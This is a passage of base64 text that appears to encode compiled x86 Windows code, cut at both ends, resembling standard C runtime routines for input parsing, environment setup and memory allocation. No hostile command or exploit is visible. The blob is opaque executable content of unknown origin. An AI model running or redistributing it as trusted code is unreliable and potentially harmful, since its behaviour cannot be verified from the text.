AQLjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+gr+v//g8QMhcAPhHELAACLlWD+////hXT+///ohvr//4mFbP7//w+2wFDoamn//1mFwHWKi4X8/f//i4C8AAAAiwCKAIiFXf7//zqFbP7//w+F5QAAAIuFZP7///+NZP7//4XAD4TRAAAAi5Vg/v///4V0/v//6Cv6//+LjVj+//+JhWz+//+KhV3+//+IBAuNhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6H75//+DxAyFwA+ExAoAAA+2hWz+///ra4uFZP7///+NZP7//4XAdGaLhVj+//+KjWz+////hVT+//+IDAONhTD+//9QjYV8/v//UENTjb1Y/v//jbUo/v//6CT5//+DxAyFwA+EagoAAIuVYP7///+FdP7//+h/+f//iYVs/v//D7bAUOhjaP//WYXAdYqDvVT+//8AD4RfAQAAg71s/v//ZXQNg71s/v//RQ+FSQEAAIuFZP7///+NZP7//4XAD4Q1AQAAi4VY/v//xgQDZY2FMP7//1CNhXz+//9QQ1ONvVj+//+NtSj+///okvj//4PEDIXAD4TYCQAAi5Vg/v///4V0/v//6O34//+JhWz+//+D+C11LIuFWP7//8YEAy2NhTD+//9QjYV8/v//UENT6Ez4//+DxAyFwA+EkgkAAOsJg71s/v//K3Uvi4Vk/v///41k/v//hcB1CCGFZP7//+sXi5Vg/v///4V0/v//6IT4//+JhWz+//8PtoVs/v//62uLhWT+////jWT+//+FwHRmi4VY/v//io1s/v///4VU/v//iAwDjYUw/v//UI2FfP7//1BDU429WP7//421KP7//+i49///g8QMhcAPhP4IAACLlWD+////hXT+///oE/j//4mFbP7//w+2wFDo92b//1mFwHWK/410/v//g71s/v///3QT/7Vg/v///7Vs/v//6Dd1//9ZWYO9VP7//wAPhKoIAACAvWr+//8AD4VNBwAAi4VY/v///4U4/v//jY38/f//UVD/tUT+///GBAMAD76Fe/7//0hQ/zX8EgUQ/xVo4gMQ/9CDxBDpEAcAAIXJdRD/hWT+///HhUD+//8BAAAAgL1r/v//AH4HxoVf/v//Af+NdP7//4O9bP7///+L83QT/7Vg/v///7Vs/v//6Jh0//9ZWYP/Y3QG/400/v//g71A/v//AHQUi4Vk/v///41k/v//hcAPhHYDAACLlWD+////hXT+///oBff//4mFbP7//4P4/w+EPQMAAIP/Y3RMg/9zdROD+Al8CYP4DQ+OJQMAAIP4IHU0g/97D4UXAwAAD769Xf7//zPSi8iD4QdC0+KLyMH5Aw++TA3cM8+F0Q+E8gIAAIu9GP7//4C9av7//wAPhdkCAACDvTT+//8AD4QaBwAAgL1f/v//AA+EsQIAAIiFIP7//w+2wFDojzEAAFmFwHQXi5Vg/v///4V0/v//6Fn2//+IhSH+//+Nhfz9//9Qi4X8/f//x4UQ/v//PwAAAP+wrAAAAI2FIP7//1CNhRD+//9Q6PAzAABmi4UQ/v//g8QQZokDg8MC6UQCAACLx4PocA+EsgIAAIPoAw+EiP7//0hID4SoAgAAg+gDD4SQ+v//g+gDdDMPtgY7hWz+//8PhTwGAAD+jV7+//+AvWr+//8AD4VMBQAAi4UU/v//iYUc/v//6TsFAACAvWv+//8AfgfGhV/+//8BRoA+XnUIRsaFXf7///9qII1F3GoAUOhSaf//g8QMgD5ddQyyXUbGRecg6ZIAAACKlS/+///phwAAAEY8LXVrhNJ0Z4oOgPlddGBGOtFzCIiNe/7//+sIiJV7/v//itE6lXv+//9zJoqFe/7//yrCD7b6D7bQi8+D4QeLx7MB0uPB6AONRAXcCBhHSnXoD7aNe/7//4vBg+EHsgHS4sHoA41EBdwIEDLS6xcPtsiK0IvBg+EHswHB6APS441EBdwIGIoGPF0PhW////+EwA+EqAUAAIudRP7//4u9GP7//4m1UP7//+lV/f//g/srdS7/jWT+//91DYXJdAnGhXP+//8B6xmLlWD+////hXT+///ojPT//4vYiZ1s/v//g/swD4V4AQAAi5Vg/v///4V0/v//6Gr0//+L2ImdbP7//4D7eHRQgPtYdEvHhVT+//8BAAAAg/94dBuDvUD+//8AdA7/jWT+//91Bv6Fc/7//2pv61v/jXT+//+D+/90Dv+1YP7//1Pob3H//1lZajBb6QQBAACLlWD+////hXT+///o/PP//4O9QP7//wCL2ImdbP7//3QWg61k/v//AoO9ZP7//wF9Bv6Fc/7//2p4X+nKAAAAiANDiZ1E/v//6Yb8//9G6Yb8////jXT+//+D+P90Dv+1YP7//1Do+nD//1lZO/MPhHIEAACAvWr+//8AD4UVAwAA/4U4/v//g70Y/v//Yw+EAgMAAIC9X/7//wB0EIuNRP7//zPAZokB6ekCAACLhUT+///GAADp2wIAAMaFe/7//wGLnWz+//+D+y11CcaFXP7//wHrBYP7K3Uu/41k/v//dQ2FyXQJxoVz/v//AesZi5Vg/v///4V0/v//6Avz//+L2ImdbP7//4O9JP7//wAPhEYBAACAvXP+//8AD4UIAQAAg/94dGmD/3B0ZA+2w1DoyWH//1mFwA+E0wAAAIP/b3Uqg/s4D43FAAAAi4VI/v//i41M/v//D6TBA8HgA4mFSP7//4mNTP7//+tfagBqCv+1TP7///+1SP7//+jlZP//iYVI/v//iZVM/v//6zwPtsNQ6Olh//9ZhcB0c4uFSP7//4uNTP7//w+kwQTB4ARTiYVI/v//iY1M/v//6Cjy//+L2FmJnWz+////hVT+//+NQ9CZAYVI/v//EZVM/v//g71A/v//AHQI/41k/v//dDeLlWD+////hXT+///oB/L//4vYiZ1s/v//6RH/////jXT+//+D+/90Dv+1YP7//1PoO2///1lZgL1c/v//AA+E/gAAAIuFSP7//4uNTP7///fYg9EA99mJhUj+//+JjUz+///p2gAAAIC9c/7//wAPhb4AAACD/3h0N4P/cHQyD7bDUOiDYP//WYXAD4SJAAAAg/9vdRCD+zh9f4uFPP7//8HgA+s1i4U8/v//a8AK6yoPtsNQ6NVg//9ZhcB0W8GlPP7//wRT6Czx//+L2IuFPP7//1mJnWz+////hVT+//+DvUD+//8AjUQY0ImFPP7//3QI/41k/v//dDeLlWD+////hXT+///oC/H//4vYiZ1s/v//6Vv/////jXT+//+D+/90Dv+1YP7//1PoP27//1lZgL1c/v//AHQG9508/v//g/9GdQeDpVT+//8Ag71U/v//AA+ElwEAAIC9av7//wB1Pv+FOP7//4udRP7//4uFPP7//4O9JP7//wB0E4uFSP7//4kDi4VM/v//iUME6xCAvXv+//8AdASJA+sDZokDi7VQ/v///oVe/v//Rom1UP7//+tsPCV1BjhGAXUBRouVYP7///+FdP7//+hG8P//i9gPtgZGiZ1s/v//ibVQ/v//O8MPhe4AAAAPtsNQ6EMrAABZhcB0KYuVYP7///+FdP7//+gN8P//D7YORom1UP7//zvID4WqAAAA/410/v//g71s/v///3UbgD4lD4W9AAAAi4VQ/v//gHgBbg+FrQAAAIvwigaEwA+FLfH//+mcAAAAg71s/v///+t+gL1r/v//AH4HM8BmiQPrA8YDAOhwPP//xwAMAAAA63ODvWz+////dBP/tWD+////tWz+///o12z//1lZx4UM/v//AQAAAOtL6Ds8//+AvV/+//8AxwAMAAAAdAczwGaJBuswxgYA6yuD+P90Dv+1YP7//1DomGz//1lZg/v/dBP/tWD+////tWz+///ogGz//1lZg70w/v//AXUM/7VY/v//6N8R//9Zg71s/v///3Uqi4U4/v//hcB1CziFXv7//3UDg8j/gL0I/v//AHQ+i40E/v//g2Fw/esyg70M/v//AXUQ6J87///HABYAAADo8nL//4C9CP7//wB0CouFBP7//4NgcP2LhTj+//9bi038XzPNXugQDP//ycOL/1WL7IsGOUUIdUmLD2oEUDtNDHUu6MRY//9ZWYkHhcB1BDPAXcOLRRDHAAEAAACLBgPAUP91DP836GpA//+DxAzrD1HoL1n//4PEDIXAdNKJB9EmM8BAXcOL/1WL7PdFCAD/AABWdRoPt3UIi8Yl/wAAAFDoFl3//1mFwHQEi8brCg+3RQiD4N+D6AdeXcOL/1WL7Lj//wAAZjtFCHQGXelKZv//XcOL/1WL7Ff/dQj/BugrYv//D7f4uP//AABZZjv4dA5qCFfoz1IAAFlZhcB12maLx19dw4v/VYvsgexIAwAAodAGBRAzxYlF/ItNFItFCFaLdQxXM/+Jjdj8//+NjUD9//+JhSD9//+Jtfz8//+JjRj9///HheT8//9eAQAAib3g/P//ib3c/P//ib3Q/P//ib0w/f//ib3M/P//O/d1GOghOv//xwAWAAAA6HRx//+DyP/pVBEAADvHdOT/dRCNjbz8///oaRv//w+3BsaFHv3//wCJvTj9//+Jvez8//9mO8cPhAoRAABTaghQ6AVSAABZWYXAdE7/tSD9////jTj9////tSD9//+NtTj9///o7f7//w+3wFlQ6Mv+//+Ltfz8//9ZWYPGAg+3BmoIUOjCUQAAWVmFwHXsibX8/P//6a4PAACLtfz8//8PtwZqJVlmO8gPhT4PAABmO04CD4QmDwAAM/+JvQz9//+Jvbj8//+JvRT9//+JvfT8//+JvSj9//+JvfD8///GhQP9//8AxoUd/f//AMaFL/3//wDGhT/9//8AxoUf/f//AMaFN/3//wDGhSf9//8Bib0Q/f//g8YCD7ce98MA/wAAdSwPtsNQ6BFb//9ZhcB0HouFKP3///+F9Pz//2vACo1EGNCJhSj9///pygAAAIP7Tg+PhAAAAA+EuwAAAIP7KnRxg/tGD4StAAAAg/tJdBCD+0x1df6FJ/3//+mYAAAAD7dOAoP5NnUeZoN+BDR1F4PGBP+FEP3//4m9BP3//4m9CP3//+txg/kzdQxmg34EMnUFg8YE62CD+WR0W4P5aXRWg/lvdFGD+Xh0TIP5WHUZ60X+hS/9///rPYP7aHQsg/tsdA2D+3d0Gv6FP/3//+smZoN+Amx1BYPGAuuV/oUn/f///oU3/f//6wz+jSf9///+jTf9//+AvT/9//8AD4Tv/v//gL0v/f//AIm1/Pz//3UZi4XY/P//ixiJhdT8//+DwASJhdj8///rAjPbgL03/f//AImd+Pz//8aFP/3//wB1Gw+3BoP4U3QMxoU3/f//AYP4Q3UHxoU3/f///w+3PoPPIIm96Pz//4P/bnRSg/9jdBiD/3t0E/+1IP3//421OP3//+io/P//6xH/tSD9////hTj9///o0F7//w+3wFm5//8AAImFMP3//2Y7yA+E8g0AAIud+Pz//4u1/Pz//4uN9Pz//4XJdA2DvSj9//8AD4S8DQAAgL0v/f//AHVBg/9jdAqD/3N0BYP/e3Uyi4XU/P//ixiDwASJhdT8//+DwASJhdj8//+LQPyJnfj8//+JhfD8//+D+AEPghANAACD/28PjwYGAAAPhF8JAACD/2MPhNgEAABqZFg7+A+ESwkAAA+OEAYAAIP/Z35Mg/9pdCGD/24Phf0FAACAvS/9//8Ai4U4/f//D4QHDAAA6S4MAACJhej8//+L+IudMP3//2otWGY7ww+FQwcAAMaFHf3//wHpPwcAAGotWDPbZjuFMP3//3UMi40Y/f//ZokBQ+sMaitYZjuFMP3//3Uh/40o/f///7Ug/f///4U4/f//6JRd//8Pt8BZiYUw/f//g730/P//AHUHg40o/f////eFMP3//wD/AAAPhYwAAAAPtoUw/f//UOgKWP//WYXAdHqLhSj9////jSj9//+FwHRqZg++hTD9//+LjRj9////hRT9//9miQRZjYXg/P//UI2FQP3//1BDU429GP3//4215Pz//+gs+v//g8QMhcAPhD4MAAD/tSD9////hTj9///o81z//w+3wFmJhTD9//+pAP8AAA+EdP///4uFvPz//4uAvAAAAItAMA+3MA++jTD9//+LxjvBD4X/AAAAi4Uo/f///40o/f//hcAPhOsAAAD/tSD9////hTj9///ollz//w+3wImFMP3//4uFGP3//2aJNFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6H/5//+DxBCFwA+EkQsAAPeFMP3//wD/AAAPhYsAAAAPtoUw/f//UOjnVv//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Ar5//+DxAyFwA+EHAsAAP+1IP3///+FOP3//+jRW///D7fAWYmFMP3//6kA/wAAD4R1////g70U/f//AA+ElAEAAGplWGY7hTD9//90EGpFWGY7hTD9//8PhXgBAACLhSj9////jSj9//+FwA+EZAEAAIuNGP3//2plWGaJBFmNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6G74//+DxAyFwA+EgAoAAP+1IP3///+FOP3//+g1W///WQ+3wGotWYmFMP3//2Y7yHUuUYuNGP3//1hmiQRZjYXg/P//UI2FQP3//1BDU+gf+P//g8QMhcAPhDEKAADrDGorWGY7hTD9//91M4uFKP3///+NKP3//4XAdQghhSj9///rG/+1IP3///+FOP3//+jAWv//D7fAWYmFMP3///eFMP3//wD/AAAPhYsAAAAPtoUw/f//UOhGVf//WYXAdHmLhSj9////jSj9//+FwHRpi4UY/f//ZouNMP3///+FFP3//2aJDFiNheD8//9QjYVA/f//UENTjb0Y/f//jbXk/P//6Gn3//+DxAyFwA+EewkAAP+1IP3///+FOP3//+gwWv//D7fAWYmFMP3//6kA/wAAD4R1/////7Ug/f///404/f///7Uw/f//6LH3//+DvRT9//8AWVkPhC8JAACAvS/9//8AD4UfCAAAi7Xk/P//i40Y/f///4Xs/P//M8CNdDYCVmaJBFnofU///4v4WYX/D4T1CAAAjUb/UP+1GP3//1ZXM/ZW6HFSAACDxBQ7xnQSg/gWD4R8CAAAg/giD4RzCAAAjYW8/P//UA++hSf9//9X/7X4/P//SFD/NfwSBRD/FWjiAxD/0Ffo6gf//4PEFOmSBwAAhcl1EP+FKP3//8eF9Pz//wEAAACAvTf9//8AfgfGhR/9//8B/7Ug/f///404/f///7Uw/f//i/Poy/b//1lZg/9jdAb/jfD8//+DvfT8//8AdBSLhSj9////jSj9//+FwA+ExQMAAP+1IP3///+FOP3//+jjWP//D7fQuP//AABZiZUw/f//ZjvCD4SIAwAAg/9jdFKD/3N1E4P6CXIJg/oND4ZwAwAAg/ogdTqD/3sPhWIDAAAPt8KLyDP/g+EHR9Pni43c/P//wegDD74ECA++jQP9//8zwYX4i73o/P//D4QxAwAAgL0v/f//AA+FHAMAAIO98Pz//wAPhGEHAACAvR/9//8AD4S6AgAAZokTg8MCiZ34/P//6SX///+Lx4PocA+ETQMAAIPoAw+E4f7//0hID4RDAwAAg+gDD4Qo+v//g+gDdDOLhTD9//9mOQYPhfIGAAD+jR79//+AvS/9//8AD4UnBgAAi4XU/P//iYXY/P//6RYGAACAvTf9//8AfgfGhR/9//8Bal5YjX4CZjtGAnUKjX4ExoUD/f///4u13Pz//4X2dSVoACAAAOhcTf//WYmF3Pz//4XAD4TQBgAAx4XQ/P//AQAAAIvwaAAgAABqAFboA1f//4PEDGpdWGY7B3UOUFqDxwLGRgsg6ZoAAACLlbj8///pjwAAAA+3wGotWYPHAmY7yHVwZoXSdGsPtw9qXVtmO9l0YIvBg8cCZjvQcwLrBQ+3yovQiY0Q/f//ZjvRcyqLwSvCD7fAD7faiYUM/f//i8uD4QeyAdLii8PB6AMIFDBD/40M/f//deYPt40Q/f//i8GD4QeyAdLiwegDCBQwM9LrEYvIg+EHswHS44vQwegDCBwwD7cHal1ZZjvID4Vi////ZoM/AA+E6wUAAIud+Pz//4m9/Pz//4u96Pz//+lj/f//aitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///obFb//w+32FmJnTD9//9qMFhmO8MPhcgBAAD/tSD9////hTj9///oRVb//1kPt9hqeF6JnTD9//9mO/N0VWpYWGY7w3RNx4UU/f//AQAAADv+dCODvfT8//8AdA7/jSj9//91Bv6FP/3//8eF6Pz//28AAADrXP+1IP3///+NOP3//1PolfP//1lZajBb6UoBAAD/tSD9////hTj9///ozVX//4O99Pz//wAPt9hZiZ0w/f//dBaDrSj9//8Cg70o/f//AX0G/oU//f//ibXo/P//i73o/P//6QUBAACDpRD9//8AUv+18Pz//42FEP3//1NQ6PgiAACDxBCD+CIPhHMEAACLhRD9//+FwA+OTfz//wPYKYXw/P//iZ34/P//6Tr8//+DxgLpMvz///+1IP3///+NOP3//1Lo3vL//1lZO/MPhGEEAACAvS/9//8AD4VRAwAA/4Xs/P//g/9jD4RCAwAAgL0f/f//AHQQi434/P//M8BmiQHpKQMAAIuF+Pz//8YAAOkbAwAAxoUn/f//AYudMP3//2otWGY7w3UJxoUd/f//AesIaitYZjvDdTD/jSj9//91DYXJdAnGhT/9//8B6xv/tSD9////hTj9///omFT//1kPt9iJnTD9//+DvRD9//8AD4RiAQAAgL0//f//AA+FJAEAAIP/eHR4g/9wdHP3wwD/AAAPhfoAAAAPtsNQ6AJP//9ZhcAPhOgAAACD/291LWo4WGY7ww+G1wAAAIuFBP3//4uNCP3//w+kwQPB4AOJhQT9//+JjQj9///rbGoAagr/tQj9////tQT9///oG1L//4mFBP3//4mVCP3//+tJ98MA/wAAD4WHAAAAD7bDUOgTT///WYXAdHmLhQT9//+LjQj9//8PpMEEweAEU4mFBP3//4mNCP3//+gv8f//D7fYWYmdMP3///+FFP3//w+3w4PoMJkBhQT9//8RlQj9//+DvfT8//8AdAj/jSj9//90NP+1IP3///+FOP3//+hzU///D7fYWYmdMP3//+nw/v///7Ug/f///404/f//U+j/8P//WVmAvR39//8AD4QaAQAAi4UE/f//i40I/f//99iD0QD32YmFBP3//4mNCP3//+n2AAAAgL0//f//AA+F2gAAAIP/eHRKg/9wdEX3wwD/AAAPhbAAAAAPtsNQ6KBN//9ZhcAPhJ4AAACD/291F2o4WGY7ww+GjQAAAIuFDP3//8HgA+s+i4UM/f//a8AK6zP3wwD/AAB1bw+2w1Do403//1mFwHRhwaUM/f//BFPoF/D//w+32IuFDP3//1mJnTD9////hRT9//+DvfT8//8AD7fLjUQI0ImFDP3//3QI/40o/f//dDT/tSD9////hTj9///oW1L//w+32FmJnTD9///pOv////+1IP3///+NOP3//1Po5+///1lZgL0d/f//AHQG950M/f//g/9GdQeDpRT9//8Ag70U/f//AA+ESgEAAIC9L/3//wB1Pv+F7Pz//4ud+Pz//4uFDP3//4O9EP3//wB0E4uFBP3//4kDi4UI/f//iUME6xCAvSf9//8AdASJA+sDZokDi7X8/P///oUe/f//g8YCibX8/P//6z5mO8h1CWY7TgJ1A4PGAv+1IP3///+FOP3//+iTUf//D7fAWWaLDoPGAomFMP3//4m1/Pz//2Y7yA+FmwAAALj//wAAZjuFMP3//3UdZoM+JQ+FlgAAAIuF/Pz//2aDeAJuD4WFAAAAi/APtwZmhcAPherv///rdYC9N/3//wB+BzPAZokD6wPGAwDorCn//8cADAAAAOtVVlZWVlbopmD///+1IP3//1Dosu7//8eFzPz//wEAAADrMeh9Kf//gL0f/f//AMcADAAAAHQHM8BmiQbrGMYGAOsT/7Ug/f///7Uw/f//6HXu//9ZWYO90Pz//wFbdQz/tdz8///oOP/+/1mDveD8//8BdQz/tRj9///oI//+/1m4//8AAGY7hTD9//91KouF7Pz//4XAdQs4hR79//91A4PI/4C9yPz//wB0PouNxPz//4NhcP3rMoO9zPz//wF1EOjeKP//xwAWAAAA6DFg//+Avcj8//8AdAqLhcT8//+DYHD9i4Xs/P//i038XzPNXuhQ+f7/ycOL/1WL7IN9CAB1FeicKP//xwAWAAAA6O9f//+DyP9dw/91CGoA/zUoJQUQ/xUI4QMQXcODPSwyBRAAdQXohY3//1aLNeghBRBXM/+F9nUYg8j/6ZEAAAA8PXQBR1bo9yz//1mNdAYBigaEwHXqagRHV+ipRf//i/hZWYk9WCUFEIX/dMuLNeghBRBT6zNW6MYs//+APj1ZjVgBdCJqAVPoe0X//1lZiQeFwHQ/VlNQ6GZf//+DxAyFwHVHg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